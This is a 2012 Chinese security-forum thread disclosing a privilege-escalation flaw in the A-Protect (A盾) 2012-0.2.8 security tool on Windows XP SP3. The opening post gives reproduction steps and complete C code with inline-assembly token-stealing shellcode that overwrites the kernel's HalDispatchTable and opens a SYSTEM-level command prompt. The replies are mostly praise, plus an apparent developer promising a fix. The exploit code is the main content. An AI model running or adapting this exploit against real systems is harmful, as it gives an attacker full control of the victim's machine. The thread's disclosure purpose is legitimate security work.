首页
社区
课程
招聘
[原创]A盾电脑防护 LE 2012-0.2.8 的一个XXX
2012-6-15 00:40 11114

[原创]A盾电脑防护 LE 2012-0.2.8 的一个XXX

2012-6-15 00:40
11114
环境:Windows XP SP3 虚拟机

1.打开A-Protect.exe
2.点击右上角的那个X,退出A-Protect.exe
3.编译如下代码,运行即可得到一个SYSTEM的CMD

#include <stdio.h>
#include <windows.h>

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
	HANDLE Section;                 // Not filled in
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
	ULONG NumberOfModules;
	RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_	NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;

ULONG	WriteToHalDispatchTable, ZwOpenProcess, ZwOpenProcessTokenEx, ZwDuplicateToken, ZwSetInformationProcess;
ULONG	SYSTEMCID[2]={4,0}, ObjectAttributes[6];
HANDLE	hSystemProc, hTokenHandle, hNewTokenHandle;

void _declspec(naked) ShellCode()
{
	__asm
	{
		pushad
		pushfd

		push offset SYSTEMCID
		push offset ObjectAttributes
		push 0x0400
		push offset hSystemProc
		call ZwOpenProcess
		cmp eax,0
		jnz exit0

		push offset hTokenHandle
		push 0x200
		push TOKEN_ALL_ACCESS
		push hSystemProc;
		call ZwOpenProcessTokenEx
		cmp eax,0
		jnz exit0

		push offset hNewTokenHandle
		push TokenPrimary
		push 0
		push 0
		push TOKEN_ALL_ACCESS
		push hTokenHandle
		call ZwDuplicateToken
		cmp eax,0
		jnz exit0

		push 8
		push offset hNewTokenHandle
		push 9
		push 0xFFFFFFFF
		call ZwSetInformationProcess
exit0:
		popfd
		popad

		ret
	}
}

void main( )
{
	if ( VirtualAlloc( (PVOID)0x650000, 0x20000,  MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
		return;

	memset((PVOID)0x650000,0x90,0x10000);
	memcpy((PVOID)0x660000,ShellCode,200);


	HMODULE	ntdll				=	GetModuleHandle( L"ntdll.dll" );
	NtQueryIntervalProfile		=	(NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
	NtAllocateVirtualMemory		=	(NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
	NtQuerySystemInformation	=	( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
	if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
		return;
	
	//取ntoskrnl的信息,只要调用一次就行
	ULONG	status, NtoskrnlBase;
	RTL_PROCESS_MODULES	module;
	status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
	if ( status != 0xC0000004 )    //STATUS_INFO_LENGTH_MISMATCH
		return;

	NtoskrnlBase   	=	(ULONG)module.Modules[0].ImageBase;

	//把ntoskrnl.exe加载进来
	HMODULE		ntoskrnl;
	ntoskrnl    =    LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
	if ( ntoskrnl == NULL )
		return;

	//计算实际地址
	WriteToHalDispatchTable		=	(ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 3; //需要覆盖的地址
	ZwOpenProcess				=	(ULONG)GetProcAddress(ntoskrnl,"ZwOpenProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
	ZwOpenProcessTokenEx		=	(ULONG)GetProcAddress(ntoskrnl,"ZwOpenProcessTokenEx") - (ULONG)ntoskrnl + NtoskrnlBase;
	ZwDuplicateToken			=	(ULONG)GetProcAddress(ntoskrnl,"ZwDuplicateToken") - (ULONG)ntoskrnl + NtoskrnlBase;
	ZwSetInformationProcess		=	(ULONG)GetProcAddress(ntoskrnl,"ZwSetInformationProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

	//以下代码就各显神通了
	ReadFile((HANDLE)0x18881111,(LPVOID)WriteToHalDispatchTable,4,NULL,NULL);


	//触发,弹出SYSTEM的CMD
	NtQueryIntervalProfile( 2, &status );

	STARTUPINFO si;
	PROCESS_INFORMATION pii;

	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	ZeroMemory( &pii, sizeof(pii) );

	CreateProcess( L"C:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pii );

	return;
}

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞3
打赏
分享
最新回复 (15)
雪    币: 314
活跃值: (128)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
心如止境 2 2012-6-15 00:52
2
0
沙发膜拜KiDebug大神。
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 4 2012-6-15 06:55
3
0
大神    膜拜啊
雪    币: 2
活跃值: (154)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zgyknight 2012-6-15 09:45
4
0
膜拜,顺便马可!
雪    币: 321
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pandaforum 2012-6-15 10:01
5
0
嘿嘿 很神奇。
雪    币: 794
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
Winker 8 2012-6-15 10:19
6
0
mark,标记下,感谢 KiDebug测试与关注~~下版本fix掉~
雪    币: 8861
活跃值: (2364)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 10 2012-6-15 10:25
7
0
小A的通信没写好~~
雪    币: 2174
活跃值: (961)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Crakme 2012-6-15 10:26
8
0
嗯学下   还好shellcode不是hex
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jerrynpc 2012-6-15 10:26
9
0
很好,很强大
雪    币: 122
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
butian 2012-6-15 10:32
10
0
前来学习下……
雪    币: 107
活跃值: (311)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Fido 2012-6-15 10:52
11
0
看不太懂.....只能膜拜了...
雪    币: 42
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
MDebug 2012-6-15 11:18
12
0
膜拜一下。
雪    币: 1227
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
boywhp 12 2012-6-15 11:51
13
0
估计是不正规的自己定义的一些猥琐的通信方式吧,然后又没有处理好,哈哈
雪    币: 274
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wwwzhigang 2012-6-18 09:40
14
0
前来学习~~
雪    币: 88
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gezz 2012-6-20 17:30
15
0
先mark,然后立即看~
雪    币: 156
活跃值: (27)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
nsso 2012-6-27 12:47
16
0
A盾XXX学习了
游客
登录 | 注册 方可回帖
返回